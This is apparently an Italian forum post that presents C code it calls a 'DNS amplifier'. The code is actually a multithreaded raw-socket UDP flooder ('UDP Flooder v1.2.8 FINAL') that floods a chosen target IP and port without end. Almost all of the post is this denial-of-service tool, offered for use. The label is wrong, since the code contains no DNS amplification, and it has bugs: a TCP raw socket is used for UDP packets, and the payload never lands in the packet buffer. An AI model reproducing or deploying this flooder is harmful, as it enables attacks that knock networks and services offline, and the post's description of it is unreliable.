Questo Ŕ un il codice per applicare un amplificatore dei dns in C++

Codice:
	


    #include <time.h>
    #include <arpa/inet.h>
    #include <ifaddrs.h>
    #include <netdb.h>
    #include <pthread.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
     
    #define MAX_PACKET_SIZE 4096
    #define PHI 0x9e3779b9
     
    static uint32_t Q[4096], c = 362436;
     
    struct thread_data{
            int pks;
            int throttle;
            int thread_id;
            unsigned int floodport;
            struct sockaddr_in sin;
    };
     
    void init_rand(uint32_t x)
    {
            int i;
     
            Q[0] = x;
            Q[1] = x + PHI;
            Q[2] = x + PHI + PHI;
     
            for (i = 3; i < 4096; i++)
                    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
     
    uint32_t rand_cmwc(void)
    {
            uint64_t t, a = 18782LL;
            static uint32_t i = 4095;
            uint32_t x, r = 0xfffffffe;
            i = (i + 1) & 4095;
            t = a * Q[i] + c;
            c = (t >> 32);
            x = t + c;
            if (x < c) {
                    x++;
                    c++;
            }
            return (Q[i] = r - x);
    }
     
    char *myStrCat (char *s, char *a) {
        while (*s != '\0') s++;
        while (*a != '\0') *s++ = *a++;
        *s = '\0';
        return s;
    }
     
    char *replStr (char *str, size_t count) {
        if (count == 0) return NULL;
        char *ret = malloc (strlen (str) * count + count);
        if (ret == NULL) return NULL;
        *ret = '\0';
        char *tmp = myStrCat (ret, str);
        while (--count > 0) {
            tmp = myStrCat (tmp, str);
        }
        return ret;
    }
     
     
    /* function for header checksums */
    unsigned short csum (unsigned short *buf, int nwords)
    {
      unsigned long sum;
      for (sum = 0; nwords > 0; nwords--)
      sum += *buf++;
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      return (unsigned short)(~sum);
    }
    void setup_ip_header(struct iphdr *iph)
    {
      struct ifaddrs *ifaddr, *ifa;
               int family, s;
               char host[NI_MAXHOST];
     
               if (getifaddrs(&ifaddr) == -1) {
                   perror("getifaddrs");
                   exit(EXIT_FAILURE);
               }
     
               /* Walk through linked list, maintaining head pointer so we
                  can free list later */
     
               for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
                   if (ifa->ifa_addr == NULL)
                       continue;
     
                   family = ifa->ifa_addr->sa_family;
     
                   if (family == AF_INET) {
                       s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
                               host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
                       if (s != 0) {
                           printf("getnameinfo() failed: %s\n", gai_strerror(s));
                           exit(EXIT_FAILURE);
                       }
                       if(strcmp(host, "127.0.0.1") != 0){
                           break;
                       }
                   }
               }
               freeifaddrs(ifaddr);
      iph->ihl = 5;
      iph->version = 4;
      iph->tos = 0;
      iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
      iph->id = htonl(54321);
      iph->frag_off = 0;
      iph->ttl = MAXTTL;
      iph->protocol = IPPROTO_UDP;
      iph->check = 0;
     
      // Initial IP, changed later in infinite loop
      iph->saddr = inet_addr(host);
    }
     
    void setup_udp_header(struct udphdr *udph)
    {
      udph->source = htons(5678);
      udph->check = 0;
    }
     
    void *flood(void *par1)
    {
      struct thread_data *td = (struct thread_data *)par1;
      fprintf(stdout, "Thread %d started\n", td->thread_id);
      char datagram[MAX_PACKET_SIZE];
      struct iphdr *iph = (struct iphdr *)datagram;
      struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
      struct sockaddr_in sin = td->sin;
      char new_ip[sizeof "255.255.255.255"];
     
      int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
      if(s < 0){
        fprintf(stderr, "Could not open raw socket.\n");
        exit(-1);
      }
     
      unsigned int floodport = td->floodport;
     
      // Clear the data
      memset(datagram, 0, MAX_PACKET_SIZE);
     
      // Set appropriate fields in headers
      setup_ip_header(iph);
      setup_udp_header(udph);
     
      char *data = (char *)udph + sizeof(struct udphdr);
      data = replStr("\xFF", td->pks);
      udph->len=htons(td->pks);
     
      iph->tot_len += td->pks;
     
      udph->dest = htons(floodport);
     
      iph->daddr = sin.sin_addr.s_addr;
      iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
     
      int tmp = 1;
      const int *val = &tmp;
      if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
        exit(-1);
      }
     
      int throttle = td->throttle;
     
      uint32_t random_num;
      uint32_t ul_dst;
      init_rand(time(NULL));
      if(throttle == 0){
        while(1){
          sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
          random_num = rand_cmwc();
          udph->source = htons(random_num & 0xFFFF);
          iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
        }
      } else {
        while(1){
          throttle = td->throttle;
          sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
          random_num = rand_cmwc();
          udph->source = htons(random_num & 0xFFFF);
          iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
     
         while(--throttle);
        }
      }
    }
    int main(int argc, char *argv[ ])
    {
      if(argc < 6){
        fprintf(stderr, "Invalid parameters!\n");
        fprintf(stdout, "UDP Flooder v1.2.8 FINAL by ohnoes1479\nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <packet size> <number threads to use> <time (optional)>\n", argv[0]);
        exit(-1);
      }
     
      fprintf(stdout, "Setting up Sockets\n");
     
      int num_threads = atoi(argv[5]);
      int packet_size = atoi(argv[4]);
      unsigned int floodport = atoi(argv[2]);
      pthread_t thread[num_threads];
      struct sockaddr_in sin;
     
      sin.sin_family = AF_INET;
      sin.sin_port = htons(floodport);
      sin.sin_addr.s_addr = inet_addr(argv[1]);
     
      struct thread_data td[num_threads];
     
      int i;
      for(i = 0;i<num_threads;i++){
        td[i].thread_id = i;
        td[i].pks = packet_size;
        td[i].sin = sin;
        td[i].floodport = floodport;
        td[i].throttle = atoi(argv[3]);
        pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
      }
      fprintf(stdout, "Starting Flood\n");
      if(argc > 6)
      {
        sleep(atoi(argv[6]));
      } else {
        while(1){
          sleep(1);
        }
      }
     
      return 0;
    }